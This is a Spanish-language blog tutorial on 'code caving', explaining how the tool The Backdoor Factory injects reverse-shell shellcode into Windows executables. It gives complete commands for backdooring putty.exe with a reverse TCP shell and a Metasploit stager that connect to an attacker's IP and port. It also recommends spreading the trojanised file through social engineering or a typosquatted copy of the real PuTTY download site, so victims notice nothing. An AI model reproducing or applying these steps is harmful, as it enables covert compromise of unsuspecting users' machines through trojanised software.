Inyección de código arbitrario en ejecutables con The Backdoor Factory

La técnica conocida como “code caving” consiste simplemente en buscar y encontrar un espacio en un fichero ejecutable que permita la inyección de rutinas externas (típicamente shellcodes). Los ficheros ejecutables están compuestos por varias secciones, cada una de las cuales tiene una estructura y funcionamiento especifico. Si por algún motivo, alguna de dichas secciones o incluso el programa entero tienen un tamaño reservado que es superior al que efectivamente utilizan, queda abierta la posibilidad de inyectar subrutinas externas en dichos espacios que están sin utilizar. No solamente es posible modificar secciones existentes, sino que también es posible crear secciones nuevas dependiendo del fichero a modificar. El “code caving” tiene varias ventajas que saltan a la vista, una de ellas es que no es necesario contar con el código fuente del programa, solamente es necesario hacer los ajustes adecuados jugando un poco con los espacios libres que se van encontrando. Por otro lado, es un proceso en el que no se afecta el funcionamiento normal del ejecutable, de hecho, uno de las principales objetivos de aplicar esta técnica es que el programa ejecute el código inyectado como una subrutina cualquiera y continúe con la ejecución de las demás funciones con normalidad. Esto quiere decir que se pueden alterar ficheros ejecutables con el objetivo de inyectar código malicioso y posteriormente, dichos programas van a funcionar del mismo modo que funcionaria el programa original, que es justamente lo que espera ver el usuario.
Este procedimiento se puede llevar a cabo manualmente, utilizando herramientas como OllyDBG, LordPE (para ficheros PE) y algunas otras que permitirán encontrar la mejor forma de inyectar un shellcode, sin embargo en esta ocasión, se hablará sobre The Backdoor Factory, una herramienta que permite automatizar el proceso descrito anteriormente y modificar ficheros ejecutables al vuelo para inyectar shellcodes.

Usando The Backdoor Factory

Se trata de una herramienta que puede instalarse de forma manual desde el código fuente que se encuentra disponible en el repositorio github en: https://github.com/secretsquirrel/the-backdoor-factory y las instrucciones para instalar el programa se encuentran ubicadas en https://github.com/secretsquirrel/the-backdoor-factory/wiki/2.-Installation. El procedimiento de instalación no es complejo y únicamente requiere que las dependencias se encuentren correctamente instaladas, concretamente “pefile” y “capstone”. No obstante, BDF se encuentra disponible en las últimas versiones de Kali Linux, si utilizas la versión 2.x de Kali Linux, ya tendrás BDF instalado en el sistema.

El uso básico de esta herramienta es bastante simple, solamente es necesario indicar el fichero ejecutable que se desea “infectar” y a continuación seleccionar el payload adecuado. Algunos de los parámetros que recibe el script principal por línea de comandos se listan a continuación:

-f / –file: Permite especificar el binario que será analizado por la herramienta y que posteriormente será “backdoorizado”.

-H / –hostip: Dirección IP utilizada para recibir las conexiones reversas iniciadas por las víctimas.

-P / –port:Puerto utilizado para recibir las conexiones reversas iniciadas por las víctimas.

-a / –add_new_section: Como su nombre lo indica, permite crear una nueva sección el fichero ejecutable, la cual incluirá el shellcode seleccionado con la opción “-s”

-s / –shell: Payloads disponibles en BDF. Si se utiliza la palabra reservada “show”, se enseñarán los payloads disponibles.

-d / –directory: En lugar de especificar un único fichero ejecutable, se puede indicar un directorio en donde se encuentran todos los binarios que BDF analizará para posteriormente “backdoorizar”.

-i / –injector: En este modo, BDF intentará verificar si el fichero original es un servicio y en tal caso, intentará detenerlo, sustituir el ejecutable por la versión generada con el shellcode inyectado y renombrar el fichero original con un sufijo, el cual por defecto es “.old”. Se trata de un modo muy útil en procesos de post-explotación.

-u / –suffix: Sufijo que será utilizado por el modo “injector” para sustituir los ficheros ejecutables originales.

Las anteriores son solamente algunas de las posibles opciones que se pueden utilizar desde BDF y como se puede ver su uso puede ser tan simple como lo siguiente:

./backdoor.py -H 192.168.1.237 -P 4444 -s reverse_shell_tcp_inline -f putty.exe -q

En este caso se intenta “backdoorizar” el fichero “putty.exe”, un programa bastante popular entre los usuarios de sistemas Windows para conectarse a otros sistemas por medio de SSH, Telnet, Rlogin, etc. Se utilizará el payload “reverse_shell_tcp_inline”, un payload bastante simple que permite establecer una shell reversa desde el sistema de la víctima hacia un sistema controlado por el atacante. Con las opciones “-H” y “-P” se ha indicado la dirección IP y puerto en donde el atacante tendrá un proceso en estado de escucha, esperando las conexiones por parte de las víctimas. Dicho proceso puede ser tan simple como iniciar un “netcat” en el puerto “4444”.

Imagen 1: Generando un fichero malicioso con BDF partiendo del programa “putty”.

Después de generar el programa, lo siguiente es conseguir que el objetivo lo ejecute en su sistema y para ello, muy probablemente sea necesario emplear técnicas de ingeniería social, aunque también puede ser perfectamente valido adquirir un dominio muy similar al dominio original donde se distribuye el programa (http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html) cambiando, por ejemplo, algunas de las letras del dominio e incluyendo exactamente el mismo contenido de las páginas HTML del sitio legitimo. De esta forma y haciendo una “difusión” del dominio malicioso se puede llegar a un número mucho más elevado de víctimas. Como siempre, todo depende de los objetivos del atacante y su creatividad.
En el caso de que la víctima descargue el fichero malicioso y lo ejecute en su ordenador, verá que no hay ningún tipo de alarma o actividad sospechosa que le haga creer que su ordenador ha sido comprometido debido a la ejecución del programa que acaba de descargar y ejecutar, simplemente verá el programa “putty” funcionando correctamente. Aunque el usuario podrá seguir utilizando el programa como lo hace habitualmente, el atacante ahora tendrá una consola contra su sistema y todo ha sido sigiloso y sin despertar ningún tipo de alarma o sospecha.

Imagen 2: Atacante interactuando con el sistema de la víctima.

Del mismo modo que es posible establecer un shellcode simple, también se puede establecer uno “staged”, algo que viene muy bien si se quiere recibir la conexión reversa de la víctima con Metasploit Framework. Para eso, en BDF hay varios payloads, resultando especialmente interesante el “iat_reverse_tcp_stager_threaded” el cual utilizará la “Import Address Table” para construir el espacio donde se almacenará el shellcode.

./backdoor.py -H 192.168.1.237 -P 4444 -s iat_reverse_tcp_stager_threaded -f putty.exe -q

Después de generar el fichero malicioso y de establecer el handler de Metasploit para aceptar conexiones por el puerto “4444”, el cliente debe ejecutar el programa y a continuación, se abrirá una nueva sesión “meterpreter” en la consola del atacante, como es habitual.

Imagen 3: Obteniendo una sesión “meterpreter” partiendo de un ejecutable generado con BDF.

Aquí solamente se ha visto el uso básico de BDF, pero los conceptos sobre los que se encuentra construida suelen ser mucho más interesantes que simplemente ejecutar un script y obtener un ejecutable malicioso. Es probable que realizar este mismo procedimiento manualmente, sin la ayuda de herramientas como BDF sea mucho más ilustrativo para comprender conceptos tan importantes como las secciones de un ejecutable y las diferentes técnicas de “code caving” que se pueden aplicar utilizando únicamente, un programa para analizar la estructura de programas del tipo PE y un editor hexadecimal. Esto se hará en un próximo artículo.

Un saludo y Happy Hack!
Adastra.